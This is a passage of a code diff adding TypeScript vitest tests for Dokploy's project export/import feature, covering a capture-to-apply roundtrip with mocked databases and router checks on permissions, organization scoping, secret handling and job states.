registryUrl: "https://registry.example.com",
|
||||
imagePrefix: "acme",
|
||||
username: "user",
|
||||
password: "pass",
|
||||
organizationId: "org-src",
|
||||
},
|
||||
],
|
||||
findFirst: async () => ({
|
||||
registryId: "registry-src-1",
|
||||
registryName: "Acme",
|
||||
registryUrl: "https://registry.example.com",
|
||||
imagePrefix: "acme",
|
||||
username: "user",
|
||||
password: "pass",
|
||||
organizationId: "org-src",
|
||||
}),
|
||||
},
|
||||
destinations: { findMany: async () => [] },
|
||||
network: { findMany: async () => [] },
|
||||
certificates: { findMany: async () => [] },
|
||||
gitProvider: { findMany: async () => [] },
|
||||
server: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => ({ organizationId: "org-dest" }),
|
||||
},
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
sshKeys: { findMany: async () => [] },
|
||||
domains: { findMany: async () => [] },
|
||||
postgres: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
mysql: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
mariadb: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
mongo: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
redis: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
libsql: {
|
||||
findMany: async () => [],
|
||||
findFirst: async () => undefined,
|
||||
},
|
||||
ports: { findMany: async () => [] },
|
||||
},
|
||||
}) as any as TransferDb;
|
||||
|
||||
const baseScope: ExportScope = {
|
||||
includeEnvSecrets: true,
|
||||
shared: { registry: "value" },
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
};
|
||||
|
||||
let workDir: string;
|
||||
let outDir: string;
|
||||
let extractDir: string;
|
||||
|
||||
beforeEach(async () => {
|
||||
workDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-work-"));
|
||||
outDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-out-"));
|
||||
extractDir = await mkdtemp(join(tmpdir(), "transfer-roundtrip-extract-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(workDir, { recursive: true, force: true });
|
||||
await rm(outDir, { recursive: true, force: true });
|
||||
await rm(extractDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
describe("transfer roundtrip: capture -> serialize -> deserialize -> plan -> apply", () => {
|
||||
it("re-creates the project with equivalent values, remapped ids/appNames/serverId, and no plaintext secrets anywhere along the way", async () => {
|
||||
const db = readDb();
|
||||
|
||||
const captureResult = await capture(
|
||||
db,
|
||||
{ kind: "project", id: "project-1" },
|
||||
baseScope,
|
||||
{
|
||||
detectRequirements: (tree, scope) =>
|
||||
detectRequirements(db, tree, scope),
|
||||
detectWarnings: (tree, scope) => detectWarnings(tree, scope),
|
||||
},
|
||||
);
|
||||
|
||||
const bundlePath = join(outDir, "bundle.dokploy.tar.gz");
|
||||
await serialize(
|
||||
{
|
||||
resources: captureResult.resources,
|
||||
inventory: captureResult.inventory,
|
||||
requirements: captureResult.requirements,
|
||||
warnings: captureResult.warnings,
|
||||
dumps: [],
|
||||
scope: baseScope,
|
||||
organizationId: "org-src",
|
||||
dokployVersion: "1.0.0-test",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
},
|
||||
captureResult.secretsPlain,
|
||||
PASSPHRASE,
|
||||
local(workDir),
|
||||
local(bundlePath),
|
||||
);
|
||||
|
||||
await inspectBundle(local(bundlePath), local(extractDir));
|
||||
const unlocked = await unlockBundle(local(extractDir), PASSPHRASE);
|
||||
|
||||
const plan = await buildPlan(
|
||||
db,
|
||||
unlocked.snapshot,
|
||||
"org-dest",
|
||||
{ kind: "newProject", name: "imported-project" },
|
||||
{
|
||||
resolutions: {
|
||||
"server:null": {
|
||||
requirementKey: "server:null",
|
||||
action: "reuse",
|
||||
targetId: LOCAL_SERVER_CANDIDATE_ID,
|
||||
},
|
||||
},
|
||||
},
|
||||
);
|
||||
expect(
|
||||
plan.resolutions[
|
||||
Object.keys(plan.resolutions).find((k) => k.startsWith("vault:"))!
|
||||
]?.action,
|
||||
).toBe("reuse");
|
||||
expect(
|
||||
plan.resolutions[
|
||||
Object.keys(plan.resolutions).find((k) => k.startsWith("registry:"))!
|
||||
]?.action,
|
||||
).toBe("reuse");
|
||||
expect(plan.pendingServices).toEqual([]);
|
||||
|
||||
const insertedByTable = new Map<unknown, Record<string, unknown>[]>();
|
||||
let counter = 0;
|
||||
const idFieldByTable = new Map<unknown, string>([
|
||||
[projects, "projectId"],
|
||||
[applications, "applicationId"],
|
||||
[compose, "composeId"],
|
||||
[domains, "domainId"],
|
||||
[mounts, "mountId"],
|
||||
[ports, "portId"],
|
||||
[security, "securityId"],
|
||||
[registry, "registryId"],
|
||||
[schedules, "scheduleId"],
|
||||
]);
|
||||
const environmentsTable = (await import("@dokploy/server/db/schema"))
|
||||
.environments;
|
||||
idFieldByTable.set(environmentsTable, "environmentId");
|
||||
|
||||
const writeDb = {
|
||||
query: {
|
||||
vaultProvider: {
|
||||
findFirst: async () => ({
|
||||
vaultProviderId: "vault-dest-1",
|
||||
name: "prod",
|
||||
organizationId: "org-dest",
|
||||
assignments: [],
|
||||
}),
|
||||
},
|
||||
registry: {
|
||||
findFirst: async () => ({
|
||||
registryId: "registry-dest-1",
|
||||
organizationId: "org-dest",
|
||||
}),
|
||||
},
|
||||
github: { findFirst: async () => undefined },
|
||||
gitlab: { findFirst: async () => undefined },
|
||||
gitea: { findFirst: async () => undefined },
|
||||
bitbucket: { findFirst: async () => undefined },
|
||||
server: { findFirst: async () => undefined },
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
mounts: { findMany: async () => [] },
|
||||
},
|
||||
insert: (table: unknown) => ({
|
||||
values: (values: Record<string, unknown>) => {
|
||||
const idField = idFieldByTable.get(table);
|
||||
const row = { ...values };
|
||||
if (idField) {
|
||||
row[idField] =
|
||||
(values[idField] as string | undefined) ??
|
||||
`new-${idField}-${++counter}`;
|
||||
}
|
||||
const list = insertedByTable.get(table) ?? [];
|
||||
list.push(row);
|
||||
insertedByTable.set(table, list);
|
||||
return { returning: async () => [row] };
|
||||
},
|
||||
}),
|
||||
update: () => ({ set: () => ({ where: async () => {} }) }),
|
||||
transaction: async (fn: (tx: unknown) => Promise<unknown>) => {
|
||||
const tx = { ...writeDb };
|
||||
return fn(tx);
|
||||
},
|
||||
} as any as TransferWriteDb;
|
||||
|
||||
const result = await apply(
|
||||
writeDb,
|
||||
unlocked.snapshot,
|
||||
plan,
|
||||
unlocked.secretsPlain,
|
||||
"org-dest",
|
||||
);
|
||||
|
||||
const projectRow = (insertedByTable.get(projects) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>;
|
||||
expect(projectRow.projectId).not.toBe("project-1");
|
||||
// The shared fake db also reports "imported-project" as an existing project, so the name conflict is auto-renamed.
|
||||
expect(projectRow.name).toBe("imported-project (imported)");
|
||||
expect(result.idMap.project?.["project-1"]).toBe(projectRow.projectId);
|
||||
|
||||
const insertedApp = (insertedByTable.get(applications) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>;
|
||||
expect(insertedApp.applicationId).not.toBe("app-1");
|
||||
expect(insertedApp.appName).not.toBe("my-app-abc123");
|
||||
expect(insertedApp.env).toBe(
|
||||
"DB_PASS=${{vault.prod.DB_PASS}}\nAPI_TOKEN=abc123token",
|
||||
);
|
||||
expect(insertedApp.registryId).toBe("registry-src-1");
|
||||
expect(insertedByTable.get(registry) ?? []).toHaveLength(0);
|
||||
|
||||
const insertedCompose = (insertedByTable.get(compose) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>;
|
||||
expect(insertedCompose.composeId).not.toBe("compose-1");
|
||||
expect(insertedCompose.appName).not.toBe("my-compose-def456");
|
||||
expect(insertedCompose.composeFile).toBe(composeService.composeFile);
|
||||
|
||||
const insertedSchedule = (insertedByTable.get(schedules) ?? [])[0] as
|
||||
| Record<string, unknown>
|
||||
| undefined;
|
||||
expect(insertedSchedule?.composeId).toBe(insertedCompose.composeId);
|
||||
expect(insertedSchedule?.organizationId).toBe("org-dest");
|
||||
|
||||
const insertedDomain = (insertedByTable.get(domains) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>;
|
||||
expect(insertedDomain.host).toBe("app-1.example.com");
|
||||
expect(insertedDomain.applicationId).toBe(insertedApp.applicationId);
|
||||
|
||||
const insertedMount = (insertedByTable.get(mounts) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>;
|
||||
expect(insertedMount.content).toBe("server { listen 80; }");
|
||||
|
||||
const insertedSecurity = (insertedByTable.get(security) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>;
|
||||
expect(insertedSecurity.password).toBe("basicauthpass");
|
||||
|
||||
const insertedPort = (insertedByTable.get(ports) ?? [])[0] as Record<
|
||||
string,
|
||||
unknown
|
||||
>;
|
||||
expect(insertedPort.publishedPort).toBe(8080);
|
||||
|
||||
const serializedInserts = JSON.stringify([...insertedByTable.values()]);
|
||||
expect(serializedInserts).not.toContain("$secret:");
|
||||
expect(serializedInserts).not.toContain("webhook-token");
|
||||
}, 30_000);
|
||||
});
|
||||
@@ -0,0 +1,577 @@
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
vi.mock("@/server/utils/billing", () => ({
|
||||
getCurrentPlan: vi.fn(async () => null),
|
||||
}));
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/services/project-export-import",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import")
|
||||
>();
|
||||
return {
|
||||
...actual,
|
||||
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
|
||||
validatePlan: vi.fn(async () => []),
|
||||
inspectBundle: vi.fn(async () => {
|
||||
throw new Error("inspectBundle not stubbed for this test");
|
||||
}),
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
const {
|
||||
createImportJob,
|
||||
getImportJob,
|
||||
createExportJob,
|
||||
exportScopeSchema,
|
||||
assertTransferPermission,
|
||||
validatePlan,
|
||||
updateImportJob,
|
||||
inspectBundle,
|
||||
UnsupportedBundleVersionError,
|
||||
} = await import("@dokploy/server/services/project-export-import");
|
||||
const { projectExportImportRouter } = await import(
|
||||
"../../server/api/routers/project-export-import"
|
||||
);
|
||||
|
||||
const ctxFor = (organizationId: string, userId = "user-1") =>
|
||||
({
|
||||
session: { activeOrganizationId: organizationId },
|
||||
user: { id: userId, email: "a@b.com" },
|
||||
}) as any;
|
||||
|
||||
describe("projectExportImportRouter.importStart", () => {
|
||||
it("rejects with BAD_REQUEST when importPlan hasn't run yet, after checking permission", async () => {
|
||||
const importId = "import-router-1";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
const callCountBefore = (assertTransferPermission as any).mock.calls.length;
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(caller.importStart({ importId })).rejects.toMatchObject({
|
||||
code: "BAD_REQUEST",
|
||||
});
|
||||
|
||||
expect((assertTransferPermission as any).mock.calls.length).toBeGreaterThan(
|
||||
callCountBefore,
|
||||
);
|
||||
});
|
||||
|
||||
it("returns NOT_FOUND for a job belonging to another organization", async () => {
|
||||
const importId = "import-router-3";
|
||||
createImportJob(importId, "user-1", "org-2");
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(caller.importStart({ importId })).rejects.toMatchObject({
|
||||
code: "NOT_FOUND",
|
||||
});
|
||||
});
|
||||
|
||||
it("calls validatePlan and rejects with BAD_REQUEST when a check fails", async () => {
|
||||
const userId = "user-validate-a";
|
||||
const importId = "import-router-validate-1";
|
||||
createImportJob(importId, userId, "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "planned",
|
||||
snapshot: { resources: { services: [] } } as any,
|
||||
plan: {
|
||||
serverMap: {},
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
} as any,
|
||||
});
|
||||
|
||||
(validatePlan as any).mockResolvedValueOnce([
|
||||
{ check: "appName:taken-name", ok: false, detail: "Already in use" },
|
||||
]);
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", userId),
|
||||
);
|
||||
await expect(caller.importStart({ importId })).rejects.toMatchObject({
|
||||
code: "BAD_REQUEST",
|
||||
});
|
||||
expect(validatePlan).toHaveBeenCalled();
|
||||
});
|
||||
|
||||
it("proceeds past validation when every check passes", async () => {
|
||||
const userId = "user-validate-b";
|
||||
const importId = "import-router-validate-2";
|
||||
createImportJob(importId, userId, "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "planned",
|
||||
snapshot: { resources: { services: [] } } as any,
|
||||
plan: {
|
||||
serverMap: {},
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
} as any,
|
||||
});
|
||||
|
||||
(validatePlan as any).mockResolvedValueOnce([
|
||||
{ check: "appName:free-name", ok: true },
|
||||
]);
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", userId),
|
||||
);
|
||||
const result = await caller.importStart({ importId });
|
||||
expect(result).toEqual({ success: true });
|
||||
});
|
||||
|
||||
it("rejects with CONFLICT when the user already has a different transfer active", async () => {
|
||||
const userId = "user-validate-c";
|
||||
const busyImportId = "import-router-busy-1";
|
||||
createImportJob(busyImportId, userId, "org-1");
|
||||
|
||||
const importId = "import-router-validate-3";
|
||||
createImportJob(importId, userId, "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "planned",
|
||||
snapshot: { resources: { services: [] } } as any,
|
||||
plan: {
|
||||
serverMap: {},
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
} as any,
|
||||
});
|
||||
(validatePlan as any).mockResolvedValueOnce([
|
||||
{ check: "appName:free-name", ok: true },
|
||||
]);
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", userId),
|
||||
);
|
||||
await expect(caller.importStart({ importId })).rejects.toMatchObject({
|
||||
code: "CONFLICT",
|
||||
});
|
||||
});
|
||||
|
||||
it("does not treat the job's own already-active status as a conflict with itself", async () => {
|
||||
const userId = "user-validate-d";
|
||||
const importId = "import-router-validate-4";
|
||||
createImportJob(importId, userId, "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "planned",
|
||||
snapshot: { resources: { services: [] } } as any,
|
||||
plan: {
|
||||
serverMap: {},
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
} as any,
|
||||
});
|
||||
(validatePlan as any).mockResolvedValueOnce([
|
||||
{ check: "appName:free-name", ok: true },
|
||||
]);
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", userId),
|
||||
);
|
||||
const result = await caller.importStart({ importId });
|
||||
expect(result).toEqual({ success: true });
|
||||
});
|
||||
|
||||
it("re-checks target.projectId's org via assertTransferPermission for an existingProject target", async () => {
|
||||
const userId = "user-validate-e";
|
||||
const importId = "import-router-validate-5";
|
||||
createImportJob(importId, userId, "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "planned",
|
||||
snapshot: { resources: { services: [] } } as any,
|
||||
plan: {
|
||||
serverMap: {},
|
||||
target: {
|
||||
kind: "existingProject",
|
||||
projectId: "project-other-org",
|
||||
environmentName: "imported",
|
||||
},
|
||||
} as any,
|
||||
});
|
||||
(validatePlan as any).mockResolvedValueOnce([
|
||||
{ check: "appName:free-name", ok: true },
|
||||
]);
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", userId),
|
||||
);
|
||||
await caller.importStart({ importId }).catch(() => {});
|
||||
|
||||
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
|
||||
expect(lastCall[1]).toBe("project-other-org");
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.importInspect (T-6.20)", () => {
|
||||
it("maps UnsupportedBundleVersionError to BAD_REQUEST with its guidance message", async () => {
|
||||
const importId = "import-router-inspect-1";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
updateImportJob(importId, {
|
||||
root: local("/tmp/does-not-matter"),
|
||||
bundle: local("/tmp/does-not-matter.tar.gz"),
|
||||
});
|
||||
|
||||
(inspectBundle as any).mockRejectedValueOnce(
|
||||
new UnsupportedBundleVersionError(2, 1),
|
||||
);
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(caller.importInspect({ importId })).rejects.toMatchObject({
|
||||
code: "BAD_REQUEST",
|
||||
message: expect.stringContaining("newer version of Dokploy"),
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter guards", () => {
|
||||
it("refuses to start an import that is not in the planned state", async () => {
|
||||
const importId = "import-router-not-planned";
|
||||
createImportJob(importId, "user-not-planned", "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "applying",
|
||||
snapshot: { resources: { services: [] } } as any,
|
||||
plan: { target: { kind: "newProject", name: "x" } } as any,
|
||||
});
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", "user-not-planned"),
|
||||
);
|
||||
await expect(caller.importStart({ importId })).rejects.toMatchObject({
|
||||
code: "CONFLICT",
|
||||
});
|
||||
});
|
||||
|
||||
it("only lets the user who started the import reveal its secrets", async () => {
|
||||
const importId = "import-router-other-user";
|
||||
createImportJob(importId, "user-a", "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "unlocked",
|
||||
snapshot: { resources: { services: [], shared: {} } } as any,
|
||||
secretsPlain: new Map([["s", "v"]]),
|
||||
});
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", "user-b"),
|
||||
);
|
||||
await expect(
|
||||
caller.importSecretReveal({ importId, secretId: "s" }),
|
||||
).rejects.toMatchObject({ code: "FORBIDDEN" });
|
||||
});
|
||||
|
||||
it("restores the original secret when an override is dropped from a later call", async () => {
|
||||
const importId = "import-router-override-reset";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "unlocked",
|
||||
snapshot: {
|
||||
resources: {
|
||||
services: [],
|
||||
shared: {
|
||||
registry: [{ registryName: "ghcr", password: "$secret:reg-1" }],
|
||||
},
|
||||
},
|
||||
} as any,
|
||||
secretsPlain: new Map([["reg-1", "original"]]),
|
||||
});
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
|
||||
await caller.importSecretsOverride({
|
||||
importId,
|
||||
overrides: { "reg-1": "replaced" },
|
||||
});
|
||||
expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("replaced");
|
||||
|
||||
await caller.importSecretsOverride({ importId, overrides: {} });
|
||||
expect(getImportJob(importId)?.secretsPlain?.get("reg-1")).toBe("original");
|
||||
});
|
||||
|
||||
it("only deletes objects that look like export bundles", async () => {
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", "user-delete-bundle"),
|
||||
);
|
||||
await expect(
|
||||
caller.deleteRemoteBundle({
|
||||
destinationId: "dest-1",
|
||||
key: "backups/production.sql.gz",
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "BAD_REQUEST" });
|
||||
});
|
||||
|
||||
it("reports unknown or foreign export ids as errors in exportBatchStatus", async () => {
|
||||
createExportJob("batch-other-org", "user-1", "org-2");
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(
|
||||
caller.exportBatchStatus({ exportIds: ["nope", "batch-other-org"] }),
|
||||
).resolves.toEqual([
|
||||
{ exportId: "nope", status: "error", error: "Export not found" },
|
||||
{
|
||||
exportId: "batch-other-org",
|
||||
status: "error",
|
||||
error: "Export not found",
|
||||
},
|
||||
]);
|
||||
});
|
||||
|
||||
it("parses the full organization scope and a bare preview scope with defaults", async () => {
|
||||
const full = exportScopeSchema.parse({ dumps: { mode: "embed" } });
|
||||
expect(full).toEqual({
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "embed" },
|
||||
includeBackupSchedules: true,
|
||||
});
|
||||
expect(exportScopeSchema.parse({}).dumps.mode).toBe("none");
|
||||
});
|
||||
|
||||
it("rejects an organization export to a destination the organization does not own", async () => {
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", "user-org-export"),
|
||||
);
|
||||
await expect(
|
||||
caller.exportOrganizationStart({
|
||||
destinationId: "dest-of-org-2",
|
||||
passphrase: "a-long-enough-passphrase",
|
||||
projectIds: ["project-1"],
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "NOT_FOUND" });
|
||||
});
|
||||
|
||||
it("rejects exportStart with a destination the organization does not own", async () => {
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", "user-export-dest"),
|
||||
);
|
||||
await expect(
|
||||
caller.exportStart({
|
||||
projectId: "project-1",
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
passphrase: "a-long-enough-passphrase",
|
||||
deliver: { kind: "destination", destinationId: "dest-of-org-2" },
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "NOT_FOUND" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.importValidate", () => {
|
||||
it("rejects with BAD_REQUEST before importPlan ran", async () => {
|
||||
const importId = "import-router-validate-early";
|
||||
createImportJob(importId, "user-validate-early", "org-1");
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", "user-validate-early"),
|
||||
);
|
||||
await expect(caller.importValidate({ importId })).rejects.toMatchObject({
|
||||
code: "BAD_REQUEST",
|
||||
});
|
||||
});
|
||||
|
||||
it("stores the checks on the plan and returns them", async () => {
|
||||
const importId = "import-router-validate-store";
|
||||
createImportJob(importId, "user-validate-store", "org-1");
|
||||
updateImportJob(importId, {
|
||||
status: "planned",
|
||||
snapshot: { resources: { services: [] } } as any,
|
||||
plan: {
|
||||
target: { kind: "newProject", name: "x" },
|
||||
validation: [],
|
||||
} as any,
|
||||
});
|
||||
(validatePlan as any).mockReset();
|
||||
(validatePlan as any).mockResolvedValue([
|
||||
{ check: "server:local", ok: false, detail: "unreachable" },
|
||||
]);
|
||||
const caller = projectExportImportRouter.createCaller(
|
||||
ctxFor("org-1", "user-validate-store"),
|
||||
);
|
||||
const result = await caller.importValidate({ importId });
|
||||
(validatePlan as any).mockReset();
|
||||
(validatePlan as any).mockResolvedValue([]);
|
||||
expect(result.checks).toEqual([
|
||||
{ check: "server:local", ok: false, detail: "unreachable" },
|
||||
]);
|
||||
const status = await caller.importStatus({ importId });
|
||||
expect(status.plan?.validation).toEqual(result.checks);
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.importUnlock (T-9.6)", () => {
|
||||
it("rejects a passphrase under 12 characters at the input-validation layer", async () => {
|
||||
const importId = "import-router-unlock-1";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
updateImportJob(importId, { workDir: local("/tmp/does-not-matter") });
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(
|
||||
caller.importUnlock({ importId, passphrase: "short" }),
|
||||
).rejects.toMatchObject({ code: "BAD_REQUEST" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.importPlan", () => {
|
||||
it("rejects with BAD_REQUEST when importUnlock hasn't run yet", async () => {
|
||||
const importId = "import-router-4";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(
|
||||
caller.importPlan({
|
||||
importId,
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
choices: {},
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "BAD_REQUEST" });
|
||||
});
|
||||
|
||||
it("passes target.projectId to assertTransferPermission for an existingProject target", async () => {
|
||||
const importId = "import-router-5";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await caller
|
||||
.importPlan({
|
||||
importId,
|
||||
target: {
|
||||
kind: "existingProject",
|
||||
projectId: "project-other-org",
|
||||
environmentName: "imported",
|
||||
},
|
||||
choices: {},
|
||||
})
|
||||
.catch(() => {});
|
||||
|
||||
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
|
||||
expect(lastCall[1]).toBe("project-other-org");
|
||||
});
|
||||
|
||||
it("passes undefined projectId to assertTransferPermission for a newProject target", async () => {
|
||||
const importId = "import-router-6";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await caller
|
||||
.importPlan({
|
||||
importId,
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
choices: {},
|
||||
})
|
||||
.catch(() => {});
|
||||
|
||||
const lastCall = (assertTransferPermission as any).mock.calls.at(-1);
|
||||
expect(lastCall[1]).toBeUndefined();
|
||||
});
|
||||
|
||||
it("blocks importing a multi-environment bundle into an existing project that can't fit all of them (T-6.16)", async () => {
|
||||
const { getCurrentPlan } = await import("@/server/utils/billing");
|
||||
(getCurrentPlan as any).mockResolvedValueOnce("hobby");
|
||||
|
||||
const importId = "import-router-env-limit-1";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
updateImportJob(importId, {
|
||||
snapshot: {
|
||||
resources: { environments: [{}, {}, {}], services: [] },
|
||||
} as any,
|
||||
});
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
|
||||
await expect(
|
||||
caller.importPlan({
|
||||
importId,
|
||||
target: {
|
||||
kind: "existingProject",
|
||||
projectId: "project-1",
|
||||
environmentName: "imported",
|
||||
},
|
||||
choices: {},
|
||||
}),
|
||||
).rejects.toMatchObject({ code: "FORBIDDEN" });
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.importCancel", () => {
|
||||
it("returns NOT_FOUND for an unknown importId", async () => {
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(
|
||||
caller.importCancel({ importId: "does-not-exist" }),
|
||||
).rejects.toMatchObject({ code: "NOT_FOUND" });
|
||||
});
|
||||
|
||||
it("maps a still-running import to CONFLICT", async () => {
|
||||
const importId = "import-cancel-router-1";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
updateImportJob(importId, { status: "restoring" });
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(caller.importCancel({ importId })).rejects.toMatchObject({
|
||||
code: "CONFLICT",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter.exportCancel (T-6.7)", () => {
|
||||
it("maps a still-running export to CONFLICT", async () => {
|
||||
const exportId = "export-cancel-router-1";
|
||||
const job = createExportJob(exportId, "user-1", "org-1");
|
||||
job.status = "dumping";
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(caller.exportCancel({ exportId })).rejects.toMatchObject({
|
||||
code: "CONFLICT",
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("projectExportImportRouter *Status permission gating (T-5.2)", () => {
|
||||
it("exportStatus and importStatus both reject a non-owner/admin with FORBIDDEN", async () => {
|
||||
const exportId = "export-status-forbidden-1";
|
||||
createExportJob(exportId, "user-1", "org-1");
|
||||
const importId = "import-status-forbidden-1";
|
||||
createImportJob(importId, "user-1", "org-1");
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
const { TRPCError } = await import("@trpc/server");
|
||||
const forbidden = () =>
|
||||
new TRPCError({
|
||||
code: "FORBIDDEN",
|
||||
message: "Only organization owners and admins can do that",
|
||||
});
|
||||
|
||||
(assertTransferPermission as any).mockRejectedValueOnce(forbidden());
|
||||
await expect(caller.exportStatus({ exportId })).rejects.toMatchObject({
|
||||
code: "FORBIDDEN",
|
||||
});
|
||||
|
||||
(assertTransferPermission as any).mockRejectedValueOnce(forbidden());
|
||||
await expect(caller.importStatus({ importId })).rejects.toMatchObject({
|
||||
code: "FORBIDDEN",
|
||||
});
|
||||
});
|
||||
|
||||
it("exportStatus still returns downloadToken to an authorized caller (the UI needs it to build the download link)", async () => {
|
||||
const exportId = "export-status-token-1";
|
||||
createExportJob(exportId, "user-1", "org-1");
|
||||
const { updateExportJob } = await import(
|
||||
"@dokploy/server/services/project-export-import"
|
||||
);
|
||||
updateExportJob(exportId, {
|
||||
status: "done",
|
||||
downloadToken: "tok-abc123",
|
||||
});
|
||||
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
const result = await caller.exportStatus({ exportId });
|
||||
expect((result as any).downloadToken).toBe("tok-abc123");
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,41 @@
|
||||
import { safeErrorMessage } from "@dokploy/server/services/project-export-import";
|
||||
import { ExecError } from "@dokploy/server/utils/process/execAsync";
|
||||
